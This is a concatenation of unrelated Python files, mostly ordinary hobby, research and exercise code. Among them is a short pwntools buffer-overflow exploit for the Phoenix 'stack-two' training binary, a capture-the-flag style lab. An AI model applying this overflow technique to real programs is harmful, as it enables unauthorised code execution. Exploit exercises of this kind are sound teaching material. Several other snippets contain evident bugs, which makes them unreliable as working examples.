        """Return the match method once, then stop"""
        yield self.match
        raise StopIteration

    def match(self, *args):
        """Indicate whether or not to enter a case suite"""
        if self.fall or not args:
            return True
        elif self.value in args: # changed for v1.5, see below
            self.fall = True
            return True
        else:
            return False

parser = argparse.ArgumentParser(__file__, description="Fake Apache Log Generator")
parser.add_argument("--num", "-n", dest='num_lines', help="Number of lines to generate (0 for infinite)", type=int, default=1)
parser.add_argument("--sleep", "-s", help="Sleep this long between lines (in seconds)", default=0.0, type=float)

args = parser.parse_args()

log_lines = args.num_lines

timestr = time.strftime("%Y%m%d-%H%M%S")
otime = datetime.datetime.now()

f = sys.stdout

response=["200","404","500","301"]
verb=["GET","POST","DELETE","PUT"]
resources=["/list","/wp-content.png","/wp-admin.png"]

ualist = ["test uasdf us "]

flag = True
while (flag):
    if args.sleep:
        increment = datetime.timedelta(seconds=args.sleep)
    else:
        increment = datetime.timedelta(seconds=random.randint(30, 300))
    otime += increment

    ip_list = ["1.1.1.1", "2.100.15.1", "255.255.255.255", "123.41.4.111", "10.10.1.1"]
    ip = random.choice(ip_list)
    dt = otime.strftime('%d/%b/%Y:%H:%M:%S')
    tz = datetime.datetime.now().strftime('%z')
    vrb = "2"

    uri = random.choice(resources)
    if uri.find("apps")>0:
        uri += str(random.randint(1000,10000))

    code = ["GET", "POST","GTFO"]
    resp = random.choice(code) #"5000"

    idz = ["ABCD", "AZYR", "NOEN", "YAYE", "TEST"]
    ids = random.choice(idz)

    byt = int(random.gauss(5000,50))

    referer = "/whynot.png " #aker.uri()
    #print "127.0.0.1 - ABCD [22/Oct/2018:12:38:12 -0700] \"GET /sample-image.png HTTP/2\" 200 1479"
    f.write("{} - {} [{} -0000] \"{} {}\n".format(ip, ids, dt, resp, uri))
    f.flush()

    log_lines = log_lines - 1
    flag = False if log_lines == 0 else True
    if args.sleep:
        time.sleep(args.sleep)


# a class that is on contact with the publisher class to collect data

import rospy
from std_msgs.msg import String

def process_hello_world_msg(data):
    """process_hello_world_msg summary.

    Parameters
    ----------
    data : type
        srt returns data.
    """
    print("message received: " + str(data))
def create_subscriber():
    """create_subscriber summary.
        this method creates a simple subscriber node
    """
    rospy.init_node("hello_world_sub_node")
    rospy.Subscriber("hello_world", String, process_hello_world_msg)

if __name__ == '__main__':
    create_subscriber()
    rospy.spin()


#!/usr/bin/env python3
# -------------------------------------------------------------
# proj:    gan-stronomy
# file:    score.py
# authors: Mark Sabini, Zahra Abdullah, Darrith Phan
# desc:    Computes FID as a quantitative metric of image quality.
# refs:    https://github.com/mseitzer/pytorch-fid
# -------------------------------------------------------------
import torch
from torch.autograd import Variable
from dataset import GANstronomyDataset
import sys
import os
from model import Generator, Discriminator
from torch.utils.data import DataLoader, SequentialSampler
import util
import opts

def get_val_imgs(G, data):
    data.set_split_index(1) # Set to validation split
    data_loader = DataLoader(data, batch_size=len(data), shuffle=False, sampler=SequentialSampler(data))
    for ibatch, data_batch in enumerate(data_loader):
        with torch.no_grad():
            recipe_ids, recipe_embs, img_ids, imgs, classes, _, _ = data_batch
            batch_size, recipe_embs, imgs, = util.get_variables3(recipe_ids, recipe_embs, img_ids, imgs)
            z = torch.randn(batch_size, opts.LATENT_SIZE).to(opts.DEVICE)
            imgs_gen = G(z, recipe_embs)
            return imgs.detach(), imgs_gen.detach()

def get_test_imgs(data):
    data.set_split_index(2)
    data_loader = DataLoader(data, batch_size=len(data), shuffle=False, sampler=SequentialSampler(data))
    for ibatch, data_batch in enumerate(data_loader):
        recipe_ids, recipe_embs, img_ids, imgs, classes, _, _ = data_batch
        batch_size, recipe_embs, imgs, = util.get_variables3(recipe_ids, recipe_embs, img_ids, imgs)
        return imgs.detach()

def main():
    if len(sys.argv) < 3:
        print('Usage: python3 score.py [MODEL_PATH] [DATA_PATH]')
        exit()
    model_path = os.path.abspath(sys.argv[1])
    data_path = os.path.abspath(sys.argv[2])

    saved_model = torch.load(model_path)

    data = GANstronomyDataset(data_path, split=opts.TVT_SPLIT)

    G = Generator(opts.LATENT_SIZE, opts.EMBED_SIZE).to(opts.DEVICE)
    G.load_state_dict(saved_model['G_state_dict'])
    G.eval()

    val_imgs, val_imgs_gen = get_val_imgs(G, data)
    test_imgs = get_test_imgs(data)
    print('FID(test_real, val_real): %f' % util.get_fid(test_imgs, val_imgs))
    print('FID(test_real, val_fake): %f' % util.get_fid(test_imgs, val_imgs_gen))

if __name__ == '__main__':
    main()


"""
Input
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20...]

Prime number
[2, 3, 5, 7, 11, 13, 17, 19]  : True

Non prime number
[1, 4, 6, 8, 9, 10, 12, 14, 15, 16, 18, 20]  : False
"""

import math
import random
import time

def is_prime_v1(num: int) -> bool:
    if type(num) is not int:
        return False

    if num <= 1:
        return False
    for i in range(2, num):
        if num % i == 0:
            return False
    return True

""" 例えば入力値３６に対して
36 = 1 * 36　２つの因数に分解してみると
36 = 2 * 18
36 = 3 * 12
36 = 4 * 9
36 = 6 * 6 <=> root(n)
36 = 9 * 4
36 = 12 * 3
36 = 18 * 2
36 = 36 * 1
"""

def is_prime_v2(num: int) -> bool:
    if num <= 1:
        return False
    for i in range(2, math.floor(math.sqrt(num) + 1)):
        if num % i == 0:
            return False
    return True

def is_prime_v2_1(num: int) -> bool:
    if num <= 1:
        return False
    i = 2
    while i * i <= num:
        if num % i == 0:
            return False
        i += 1
    return True

# 偶数は2を除いて全て素数ではない

def is_prime_v3(num: int) -> bool:
    if num <= 1:
        return False

    if num == 2:
        return True

    if num % 2 == 0:
        return False

    for i in range(3, math.floor(math.sqrt(num) + 1), 2):
        if num % i == 0:
            return False
    return True

"""
2か3の倍数は2,3を除いて素数ではない。
6の倍数の±1は素数ではない。それ以外は素数。
"""

def is_prime_v4(num: int) -> bool:
    if num <= 1:
        return False

    if num <= 3:
        return True

    if num % 2 == 0 or num % 3 == 0:
        return False

    for i in range(5, math.floor(math.sqrt(num) + 1), 6):
        if num % i == 0 or num % (i + 2) == 0:
            return False
    return True

if __name__ == '__main__':
    numbers = [random.randint(0, 1000) for _ in range(1000000)]

    start = time.time()
    for num in numbers:
        is_prime_v1(num)
    print(time.time() - start)

    start = time.time()
    for num in numbers:
        is_prime_v2(num)
    print(time.time() - start)

    start = time.time()
    for num in numbers:
        is_prime_v2_1(num)
    print(time.time() - start)

    start = time.time()
    for num in numbers:
        is_prime_v3(num)
    print(time.time() - start)

    start = time.time()
    for num in numbers:
        is_prime_v4(num)
    print(time.time() - start)


from gpiozero import LED, PWMLED
from time import sleep

# Define the GPIO pins connected to the L298N motor driver for Motor A
IN1A = LED(17)
IN2A = LED(18)
ENA = PWMLED(19)

# Define the GPIO pins connected to the L298N motor driver for Motor B
IN3B = LED(22)
IN4B = LED(23)
ENB = PWMLED(21)

# Define the function to control the motor direction and speed
def set_motor_speed(motor, direction, speed):
    # Set the motor direction
    if direction == "forward":
        motor["IN1"].on()
        motor["IN2"].off()
    elif direction == "backward":
        motor["IN1"].off()
        motor["IN2"].on()
    else:
        motor["IN1"].off()
        motor["IN2"].off()

    # Set the motor speed
    motor["EN"].value = speed

# Test the motors by running them forward and backward
while True:
    s_r = float(input("Enter speed ratio: "))
    set_motor_speed({"IN1": IN1A, "IN2": IN2A, "EN": ENA}, "forward", s_r)  # Run Motor A forward at 50% speed
    set_motor_speed({"IN1": IN3B, "IN2": IN4B, "EN": ENB}, "forward", s_r)  # Run Motor B forward at 50% speed
    sleep(5)
    set_motor_speed({"IN1": IN1A, "IN2": IN2A, "EN": ENA}, "backward", s_r)  # Run Motor A backward at 50% speed
    set_motor_speed({"IN1": IN3B, "IN2": IN4B, "EN": ENB}, "backward", s_r)  # Run Motor B forward at 50% speed
    sleep(5)
    set_motor_speed({"IN1": IN1A, "IN2": IN2A, "EN": ENA}, "stop", 0)  # Stop Motor A
    set_motor_speed({"IN1": IN3B, "IN2": IN4B, "EN": ENB}, "stop", 0)  # Stop Motor B
    # sleep(2)


# Input:
#       The first line contains an integer(the number of test cases).
#       Each line of the subsequent lines contain a String.
# Output:
#       For each string print all even S[i], followed by space and all odd S[i]

# Common:
n = int(input())
for x in range(n):
    s = input()
    print(s[::2], s[1::2])

# Madness:
print(*(list('{} {}'.format(x[::2], x[1::2]) for x in input().split())[0] for x in range(int(input()))), sep='\n')


import discord
from discord.ext import commands
from discord.ext.commands import MissingPermissions
from tesda import cooldConvert
import datetime

class Mute(commands.Cog):
    def __init__(self, client):
        self.client = client

    @commands.command(aliases=["to"])
    @commands.has_permissions(kick_members=True)
    async def mute(self, ctx, user: discord.Member = None, time=None, *, reason=None):
        if user is None:
            return await ctx.send("Veuillez indiquer un membre.")
        elif time is None:
            return await ctx.send("Veuillez indiquer une durée.")
        elif reason is None:
            return await ctx.send("Veuillez indiquer une raison.")
        await user.timeout(until=datetime.datetime(time), reason=reason)
        await ctx.send(f"{user} à été mute pour {cooldConvert(time)} (`{reason}`).")

    @mute.error
    async def to_error(self, ctx, error):
        if isinstance(error, MissingPermissions):
            await ctx.send("Vous n'avez pas la permission (`expulser des membres`).")

async def setup(client):
    await client.add_cog(Mute(client))


import numpy as np
from synet.process.base import BaseProcess

class DelayProcess(BaseProcess):
    "Delay process for e.g. train dependencies."
    name = "delay"

    def __init__(self, p_delay=0.03, tau_delay=1, max_tau_delay=3):
        """Initialize delay process.

        Arguments
        ---------
        p_delay:
            Probability of an event causing a new delay.
        tau_delay:
            Average new delay normalized by the number of agents.
        max_tau_delay:
            Maximum of new delay normalized by the number of agents.
        """
        self.p_delay = p_delay
        self.tau_delay = tau_delay
        self.max_tau_delay = max_tau_delay

    def _simulate(self, net, start=1, end=None, seed=None):
        "Simulate functionality uses _simulate_delay below."
        np.random.seed(seed)
        if end is None:
            end = net.n_events
        results = _simulate_delay(
            net, start, end, p_delay=self.p_delay,
            tau_delay=self.tau_delay, max_tau_delay=self.max_tau_delay)
        return results

    def todict(self):
        return {
            "p_delay": self.p_delay,
            "tau_delay": self.tau_delay,
            "max_tau_delay": self.max_tau_delay,
        }

def _simulate_delay(net, start, end, p_delay=0.03,
                    tau_delay=1, max_tau_delay=3):
    "Simulate the delay."
    n_agents = net.n_agents
    participants = net.participants

    # Set half of the randomly chosen agents to be delayed.
    n_zeros = n_agents//2
    n_ones = n_agents - n_zeros
    delayed = np.zeros(n_agents, dtype=np.int32)
    delayed[:n_ones] = 1
    np.random.shuffle(delayed)
    total_delay = np.zeros(end-start, dtype=np.float32)

    # More initialization.
    current_total_delay = 0
    n_current_delayed = 0
    delay_resolve_time = np.full(n_agents, -1, dtype=np.int32)
    agent_pointer = np.full(n_agents, -1, dtype=np.int32)
    tau = tau_delay*n_agents
    max_delay = round(max_tau_delay*n_agents)

    # The ring buffer efficiently stores the time when agents stop
    # being delayed.
    ring_buffer = np.zeros((max_delay+1, n_agents), dtype=np.int32)
    ring_pointer = np.zeros(max_delay+1, dtype=np.int32)

    cur_t = 0

    def check_delay():
        "Check the integrity of the process."
        nonlocal n_current_delayed
        test_n_current_delay = 0
        for agent_id in range(n_agents):
            test_n_current_delay += (delay_resolve_time[agent_id] != -1)
        assert test_n_current_delay == n_current_delayed, (
            f"{test_n_current_delay}, {n_current_delayed}")

        nonlocal current_total_delay
        test_total_delay = 0
        for agent_id in range(n_agents):
            if delay_resolve_time[agent_id] == -1:
                continue
            delay = ((delay_resolve_time[agent_id] - cur_t + (max_delay+1))
                     % (max_delay+1))
            test_total_delay += delay
        assert test_total_delay == current_total_delay, (
            f"total: {test_total_delay} {current_total_delay}")

    def remove_delay(agent_id):
        "Remove the delay from an agent."
        nonlocal n_current_delayed, cur_t, current_total_delay
        old_time_slot = delay_resolve_time[agent_id]
        if old_time_slot == -1:
            return

        # If the agent isn't the last one in the buffer, swap it with the last.
        old_pointer = agent_pointer[agent_id]
        if old_pointer != ring_pointer[old_time_slot]-1:
            other_agent = ring_buffer[old_time_slot][
                ring_pointer[old_time_slot]-1]
            ring_buffer[old_time_slot][old_pointer] = other_agent
            agent_pointer[other_agent] = old_pointer

        # Remove delay and update variables.
        ring_pointer[old_time_slot] -= 1
        delay_resolve_time[agent_id] = -1
        n_current_delayed -= 1
        old_delay = (old_time_slot - cur_t + max_delay + 1) % (max_delay+1)
        current_total_delay -= old_delay

    def set_delay(agent_id, time_slot=-1):
        "Set the delay of an agent, assume it currently doesn't have one."
        nonlocal n_current_delayed, cur_t, current_total_delay

        # If the new time isn't given, create one from the exponential dist.
        if time_slot < 0:
            delay = round(np.random.exponential(scale=tau))
            delay = min(max_delay, delay)
            time_slot = (cur_t + delay) % (max_delay+1)
        else:
            delay = (time_slot - cur_t + max_delay + 1) % (max_delay+1)

        # Fill arrays and update nonlocal variables.
        delay_resolve_time[agent_id] = time_slot
        ring_buffer[time_slot][ring_pointer[time_slot]] = agent_id
        agent_pointer[agent_id] = ring_pointer[time_slot]
        ring_pointer[time_slot] += 1
        n_current_delayed += 1
        current_total_delay += delay

    # Initialize agents that are delayed.
    for agent_id in np.where(delayed == 1)[0]:
        set_delay(agent_id)

    for dst_event in range(start, end):
        # Remove agents that finished their delay.
        for pointer_id in range(ring_pointer[cur_t]):
            agent_id = ring_buffer[cur_t][pointer_id]
            delay_resolve_time[agent_id] = -1
        n_current_delayed -= ring_pointer[cur_t]
        ring_pointer[cur_t] = 0

        # Find the maximum delay of the agents in the current event.
        agents = participants[dst_event]
        cur_resolves = delay_resolve_time[agents]
        delay_ids = np.where(cur_resolves != -1)[0]
        if len(delay_ids):
            cur_delays = ((cur_resolves[delay_ids]-cur_t + (max_delay+1))
                          % (max_delay+1))
            current_delay = np.max(cur_delays)
            for agent_id in agents[delay_ids]:
                remove_delay(agent_id)
            new_time_slot = (cur_t + current_delay) % (max_delay+1)
            for agent_id in agents:
                set_delay(agent_id, new_time_slot)
        else:
            current_delay = 0
            new_time_slot = cur_t

        # Create new delay, it stacks with the current delay.
        if np.random.rand() < p_delay:
            delta_delay = round(np.random.exponential(scale=tau))
            new_delay = min(max_delay, delta_delay+current_delay)
            new_time_slot = (cur_t+new_delay) % (max_delay+1)
            if current_delay:
                for agent_id in agents:
                    remove_delay(agent_id)
            if new_delay:
                for agent_id in agents:
                    set_delay(agent_id, time_slot=new_time_slot)
        cur_t = (cur_t+1) % (max_delay+1)
        current_total_delay -= n_current_delayed

        # Measure the current total delay.
        total_delay[dst_event-start] = current_total_delay/n_agents/n_agents
    return total_delay


n=int(input("Enter a number"))
i=1
p=1
while i<=6:
    j=0
    while j<=n-i:
        if j%2!=0:
            print("*",end="")
        else:
            print(p,end="")
            p+=1
        j+=1
    i+=1
    print()


from flask import Flask

app = Flask(_name_)

# "{parking1:1 {slot:1, state:0, slot:2, stat:1}}"
def showAllStates():
    return {"Parking": [
        {"name": "Nowshera Parking",
         "total_Parking": "50",
         "empty": "30",
         "reserve": "20"},

        {"name": "Cantt Parking",
         "total_Parking": "40",
         "empty": "30",
         "reserve": "10"},

        {"name": "CMH Parking",
         "total_Parking": "30",
         "empty": "0",
         "reserve": "30"}
    ]}

@app.route("/")
def home():
    return showAllStates()

# host='0.0.0.0', port=82,  for port changing

if _name_ == "_main_":
    app.run(debug=True)


from dataclasses import dataclass
from typing import Union, List, Dict

from pm2_model import PSequence, PSequenceStep, ModelTableWriter
from pm2_runtime_shared import RuntimeComponent, SerializableParams

# noinspection PyUnreachableCode
if False:
	# noinspection PyUnresolvedReferences
	from _stubs import *

class SequenceMap(RuntimeComponent, SerializableParams):

	def _ParseSequences(self) -> List[PSequence]:
		seqDat = self.op('selected_sequences')  # type: DAT
		stepDat = self.op('selected_steps')  # type: DAT
		return [
			self._ParseSequence(seqDat, stepDat, i)
			for i in range(1, seqDat.numRows)
		]

	def BuildSequenceInfoTable(self, dat: 'DAT'):
		mergedSequence = self._BuildMergedSequence()
		ModelTableWriter(dat).writeSequences([mergedSequence])

	def BuildSequenceStepTable(self, dat: 'DAT'):
		mergedSequence = self._BuildMergedSequence()
		ModelTableWriter(dat).writeSequenceSteps([mergedSequence], includeMeta=True, includeSequenceName=False)

	def BuildShapeSequenceStepMaskTable(self, dat: 'DAT', shapeCount: int):
		mergedSequence = self._BuildMergedSequence()
		ModelTableWriter(dat).writeShapeSequenceStepMaskTable(
			mergedSequence,
			shapeCount=shapeCount)

	@staticmethod
	def _ParseSequence(seqDat: 'DAT', stepDat: 'DAT', seqRow: Union[str, int]) -> PSequence:
		name = str(seqDat[seqRow, 'sequenceName'] or '')
		stepsByIndex = {}
		maxIndex = 0
		for i in range(1, stepDat.numRows):
			if stepDat[i, 'sequenceName'] != name:
				continue
			step = _parseSequenceStepRow(stepDat, i)
			stepsByIndex[step.sequenceIndex] = step
			maxIndex = max(maxIndex, step.sequenceIndex)
		# make sure there's a step for each sequence index even if there aren't any shapes in them
		paddedSteps = [
			stepsByIndex.get(i) if i in stepsByIndex else PSequenceStep(sequenceIndex=i)
			for i in range(maxIndex + 1)
		]
		return PSequence(
			sequenceName=name,
			steps=paddedSteps,
		)

	@staticmethod
	def _BuildMergedSequential(sequences: List[PSequence]):
		mergedSteps = []  # type: List[PSequenceStep]
		sequenceNames = []
		for sequenceIndex, sequence in enumerate(sequences):
			if not sequence.steps:
				continue
			sequenceNames.append(sequence.sequenceName)
			baseIndex = len(mergedSteps)
			# TODO: Handle missing / empty steps properly ...
			for step in sequence.steps:
				mergedSteps.append(PSequenceStep(
					sequenceIndex=baseIndex + step.sequenceIndex,
					shapeIndices=list(step.shapeIndices or []),
					meta={'sequenceName': sequence.sequenceName, 'sequenceIndex': sequenceIndex}
				))
		return PSequence(
			sequenceName='',
			steps=mergedSteps,
			meta={'sequenceNames': ' '.join(sequenceNames)},
		)

	# def BuildParallelStepLookupChop(
	# 		self,
	# 		chop: 'scriptCHOP'):
	# 	chop.clear()
	# 	sequences = self._ParseSequences()
	# 	if not sequences:
	# 		pass
	# 	# alignstart alignend
	# 	# stretchfirst stretchlong stretchshort - NOT CURRENTLY SUPPORTED
	# 	alignMode = self.par.Sequencealignmode.eval()
	# 	if alignMode.startswith('align'):
	# 		self._BuildParallelStepLookupAligned(chop, sequences, alignMode)
	# 	elif alignMode.startswith('stretch'):
	# 		raise NotImplementedError('stretch alignment not supported')
	#
	# @staticmethod
	# def _BuildParallelStepLookupAligned(chop: 'scriptCHOP', sequences: List[PSequence], mode: str):
	# 	totalStepCount = max([len(seq.steps) for seq in sequences])
	# 	chop.numSamples = totalStepCount
	# 	usingStart = mode == 'alignstart'
	# 	for sequence in sequences:
	# 		chan = chop.appendChan('step_' + sequence.sequenceName)
	# 		if usingStart:
	# 			# seq 1:  0  1  2  3  4  5  6  7
	# 			# seq 2:  0  1  2  3  4  x  x  x
	# 			for i in range(totalStepCount):
	# 				if i < len(sequence.steps):
	# 					chan[i] = i
	# 				else:
	# 					chan[i] = - 1
	# 		else:
	# 			# seq 1:  0  1  2  3  4  5  6  7
	# 			# seq 2:  x  x  x  0  1  2  3  4
	# 			startIndex = totalStepCount - len(sequence.steps)
	# 			for i in range(len(sequence.steps)):
	# 				pass
	# 			for step in sequence.steps:
	# 				chan[step.sequenceIndex + startIndex] = step.sequenceIndex

	def _BuildMergedSequence(self):
		sequences = self._ParseSequences()
		if not sequences:
			return PSequence()
		if len(sequences) == 1:
			sequence = sequences[0]
		elif self.par.Sequencemergetype == 'sequential':
			sequence = self._BuildMergedSequential(sequences)
		else:
			sequence = self._BuildMergedParallelAligned(sequences)
		if self.par.Reversesequence:
			sequence = self._ReverseSequence(sequence)
		return sequence

	@staticmethod
	def _ReverseSequence(origSequence: PSequence):
		n = len(origSequence.steps)
		newSteps = []
		for i in range(n):
			origStep = origSequence.steps[n - i - 1]
			newSteps.append(
				PSequenceStep(
					sequenceIndex=i,
					shapeIndices=list(origStep.shapeIndices),
					meta=dict(origStep.meta),
				)
			)
		return PSequence(
			origSequence.sequenceName,
			meta=dict(origSequence.meta),
			steps=newSteps)

	def _BuildMergedParallelAligned(self, sequences: List[PSequence]):
		if not sequences:
			return PSequence()
		totalStepCount = max([len(seq.steps) for seq in sequences])
		alignMode = self.par.Sequencealignmode.eval()
		usingStart = alignMode == 'alignstart'
		stepListsByIndex = {}  # type: Dict[int, List[_StepWithName]]
		for sequence in sequences:
			if usingStart:
				indexOffset = 0
			else:
				indexOffset = totalStepCount - len(sequence.steps)
			for step in sequence.steps:
				newIndex = indexOffset + step.sequenceIndex
				if newIndex not in stepListsByIndex:
					stepListsByIndex[newIndex] = []
				stepListsByIndex[newIndex].append(_StepWithName(sequence.sequenceName, step))
		mergedSteps = []  # type: List[PSequenceStep]
		for index in range(totalStepCount):
			shapeIndices = set()
			partNames = []
			for step in stepListsByIndex.get(index) or []:
				shapeIndices.update(step.step.shapeIndices)
				partNames.append(f'{step.sequenceName}.{step.step.sequenceIndex}')
			mergedSteps.append(PSequenceStep(
				sequenceIndex=index,
				shapeIndices=list(sorted(shapeIndices)),
				meta={'steps': partNames},
			))
		return PSequence(
			steps=mergedSteps,
			meta={'sequences': [sequence.sequenceName for sequence in sequences]}
		)

@dataclass
class _StepWithName:
	sequenceName: str
	step: PSequenceStep

def _parseSequenceStepRow(dat: 'DAT', row: Union[str, int]):
	indices = dat[row, 'shapeIndices']
	if not indices:
		indices = []
	else:
		indices = [int(part) for part in indices.val.split(' ')]
	return PSequenceStep(
		sequenceIndex=int(dat[row, 'stepIndex'] or 0),
		shapeIndices=indices,
	)


class Solution:
    def climbStairs(self, n: int) -> int:
        if n == 0 or n == 1:
            return 1
        elif n == 2:
            return 2
        else:
            ret = 0
            a = 1
            b = 2
            for i in range(3, n+1):
                ret = a + b
                a = b
                b = ret
        return ret

    def climbStairs2(self, n: int) -> int:
        a, b = 1, 1
        for _ in range(n):
            a, b = b, a+b
        return a

print(Solution().climbStairs(20))
print(Solution().climbStairs2(2))

动态规划/70_爬楼梯.py


from bsddb3 import db

def get_database():
	database = db.DB()
	DB_File = "da.idx"
	database.open(DB_File, None, db.DB_BTREE, db.DB_CREATE)
	return database

def get_rows(l, u):
	# given an upper and lower bound
	# l and u are INCLUSIVE
	# 	that exist withing the DB....
	# find a set of rows between the two
	rows = set()
	if l is None and u is None:
		return rows

	cur_upper, cur_lower = get_cursors()

	# assert l, u are byte strings...
	assert(type(l) == type("".encode("utf8")))
	assert(type(u) == type("".encode("utf8")))

	# set cursors to range
	cur_upper.set_range(u)
	upper_k, upper_v = cur_upper.current()

	cur_lower.set_range(l)
	lower_k, lower_v = cur_lower.current()

	# get all rows between l, u
	while lower_k <=  upper_k:
		##print("l: {}, {}".format(lower_k, lower_v))
		cur_lower.next()
		lower_k, lower_v = cur_lower.current()
		if lower_k <=  upper_k:
			break;
		rows.add(lower_v)

	return rows

def write_test(l, u):
	rows = get_rows(l, u)
	with open("output.txt", 'w') as f:
		for r in rows:
			f.write(str(r)+ "\n")
	return rows

def get_cursors():
	d = get_database()
	c_u = d.cursor()
	c_l = d.cursor()
	return c_l, c_u

if __name__ == "__main__":
	def test(l, u, exp):
		assert(type(exp) == type(set()))
		assert(exp == get_rows(l,u))

	#print("Running tests...")


import ast

from setuptools import find_packages, setup

version = 'unknown'
with open('eventmq/__init__.py') as f:
    for line in f:
        if line.startswith('__version__'):
            version = ast.parse(line).body[0].value.s
            break

setup(
    name='eventmq',
    version=version,
    description='EventMQ job execution and messaging system based on ZeroMQ',
    packages=find_packages(),
    install_requires=[
        'pyzmq==18.1.0',
        'six>=1.14,<2',
        'monotonic==0.4',
        'croniter==0.3.10',
        'future==0.15.2',
        'psutil==5.6.6',
    ],
    extras_require={
          'docs': ['Sphinx==1.5.2', ],
          'testing': [
              'flake8==3.7.8',
              'flake8-import-order==0.18.1',
              'flake8-print==3.1.0',
              'coverage==4.0.3',
              'testfixtures==4.7.0',
              'freezegun==0.3.7',
              'tl.testing==0.5',
              'mock==1.3.0'],
          },
    author='EventMQ Contributors',
    url='https://github.com/eventmq/eventmq/',

    # See https://pypi.python.org/pypi?%3Aaction=list_classifiers
    classifiers=[
        # How mature is this project? Common values are
        #   3 - Alpha
        #   4 - Beta
        #   5 - Production/Stable
        'Development Status :: 3 - Alpha',

        # Indicate who your project is intended for
        'Intended Audience :: Developers',
        'Topic :: System :: Distributed Computing',

        'License :: OSI Approved :: GNU Lesser General Public License v2 (LGPLv2)',  # noqa
        'Operating System :: OS Independent',

        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3.5',
        'Programming Language :: Python :: 3.6',
        'Programming Language :: Python :: 3.7',
        'Programming Language :: Python :: 3.8',
    ],
    scripts=[
        'bin/emq-cli',
        'bin/emq-jobmanager',
        'bin/emq-router',
        'bin/emq-scheduler',
        'bin/emq-pubsub'
    ],
)


from pwn import *
import os

buffer = b'A' * 64
changeme = 0x0d0a090a
payload = buffer + p32(changeme)

exe = context.binary = ELF('/opt/phoenix/amd64/stack-two')
os.environ.setdefault('ExploitEducation', payload)
io = process([exe.path])

print(io.recv())
io.interactive()


#!/usr/bin/python3

import os, sys

scan = list(os.scandir())
size = 0

def calculo():
	global size
	arr = [arq for arq in scan if arq.name == target]
	index = scan.index(arr[0])
	size = list(scan[index].stat())[6]
	print(f"{size} Bytes")

try:
	tipo = str(sys.argv[1])
	target = str(sys.argv[2])
	if tipo == '-k':
		calculo()
		print(f"{size / 1000} Kilobytes")
	if tipo == '-m':
		calculo()
		print(f"{size / 1_000_000} Megabytes")
	if tipo == '-g':
		calculo()
		print(f"{size / 1_000_000_000} Gigabytes")
except IndexError:
	print("USE -g para Gigabytes -> python3 __size-per__.py -g [TARGET]")
	print("USE -m para Megabytes -> python3 __size-per__.py -m [TARGET]")
	print("USE -k para Kilobytes -> python3 __size-per__.py -k [TARGET]")
	print("AVISO: Somente python 3.7+.")


import os
import gc
import re
import time
import socket

from gateway import CameraGateway
from utils import load_options, to_pb_image
from frames_loader import FramesLoader

from is_msgs.camera_pb2 import CameraConfig
from google.protobuf.empty_pb2 import Empty
from is_msgs.common_pb2 import FieldSelector
from is_wire.rpc import ServiceProvider, LogInterceptor
from opencensus.ext.zipkin.trace_exporter import ZipkinExporter
from is_wire.core import Channel, Message, Logger, Tracer, AsyncTransport

def create_exporter(service_name, uri):
    log = Logger(name="CreateExporter")
    zipkin_ok = re.match("http:\\/\\/([a-zA-Z0-9\\.]+)(:(\\d+))?", uri)
    if not zipkin_ok:
        log.critical("Invalid zipkin uri \"{}\", expected http://<hostname>:<port>", uri)
    exporter = ZipkinExporter(
        service_name=service_name,
        host_name=zipkin_ok.group(1),
        port=zipkin_ok.group(3),
        transport=AsyncTransport)
    return exporter

def main():

    service_name = "CameraGateway"
    log = Logger(service_name)
    options = load_options()
    camera = CameraGateway(fps=options["fps"])

    publish_channel = Channel(options['broker_uri'])
    rpc_channel = Channel(options['broker_uri'])
    server = ServiceProvider(rpc_channel)
    logging = LogInterceptor()
    server.add_interceptor(logging)

    server.delegate(topic=service_name + ".*.GetConfig",
                    request_type=FieldSelector,
                    reply_type=CameraConfig,
                    function=camera.get_config)

    server.delegate(topic=service_name + ".*.SetConfig",
                    request_type=CameraConfig,
                    reply_type=Empty,
                    function=camera.set_config)

    exporter = create_exporter(service_name=service_name, uri=options["zipkin_uri"])

    while True:

        # iterate through videos listed
        for video in options['videos']:

            # id of the first sequence of videos
            person_id = video['person_id']
            gesture_id = video['gesture_id']

            # getting the path of the 4 videos
            video_files = {
                cam_id:
                os.path.join(options['folder'],
                             'p{:03d}g{:02d}c{:02d}.mp4'.format(person_id, gesture_id, cam_id))
                for cam_id in options["cameras_id"]
            }

            for iteration in range(video['iterations']):

                info = {
                    "person": person_id,
                    "gesture": gesture_id,
                    "iteration": iteration
                }
                log.info('{}', str(info).replace("'", '"'))

                # object that let get images from multiples videos files
                video_loader = FramesLoader(video_files)

                # iterate through all samples on video
                while True:

                    time_initial = time.time()

                    # listen server for messages about change
                    try:
                        message = rpc_channel.consume(timeout=0)
                        if server.should_serve(message):
                            server.serve(message)
                    except socket.timeout:
                        pass

                    frame_id, frames = video_loader.read()

                    for cam in sorted(frames.keys()):
                        tracer = Tracer(exporter)
                        span = tracer.start_span(name='frame')
                        pb_image = to_pb_image(frames[cam])
                        msg = Message(content=pb_image)
                        msg.inject_tracing(span)
                        topic = 'CameraGateway.{}.Frame'.format(cam)
                        publish_channel.publish(msg, topic=topic)
                        tracer.end_span()

                    took_ms = (time.time() - time_initial) * 1000

                    dt = (1 / camera.fps) - (took_ms / 1000)
                    if dt > 0:
                        time.sleep(dt)
                        info = {
                            "sample": frame_id,
                            "took_ms": took_ms,
                            "wait_ms": dt * 1000
                        }
                        log.info('{}', str(info).replace("'", '"'))

                    if frame_id >= (video_loader.num_samples - 1):
                        video_loader.release()
                        del video_loader
                        gc.collect()
                        break

        if options['loop'] is False:
            break

if __name__ == "__main__":
    main()


import scrapy
import json
from .. import items
class CountrycovSpider(scrapy.Spider):
    name = 'CountryCov'

    start_urls = ['https://news.sina.com.cn/project/fymap/ncp2020_full_data.json?_=1674182940846&callback=jsoncallback']

    def parse(self, response):
        res = response.text
        res = res.replace("jsoncallback(","").replace(");","")
        res = json.loads(res)
        obj = res["data"]["otherlist"]
        item = items.CountryItem()
        for ik in obj:
            item["conNum"]=int(ik["conNum"]),
            item["conadd"]=int(ik["conadd"]),
            item["cureNum"]=int(ik["cureNum"]),
            item["deathNum"]=int(ik["deathNum"]),
            item["name"]=ik["name"],
            yield item


import time

from acts.controllers.android_lib.tel.tel_utils import initiate_call
from acts.controllers.android_lib.tel.tel_utils import wait_for_droid_in_call
from acts.controllers.buds_lib.apollo_lib import DeviceError
from acts.controllers.buds_lib.test_actions.agsa_acts import AgsaOTAError
from acts.controllers.buds_lib.test_actions.base_test_actions import BaseTestAction
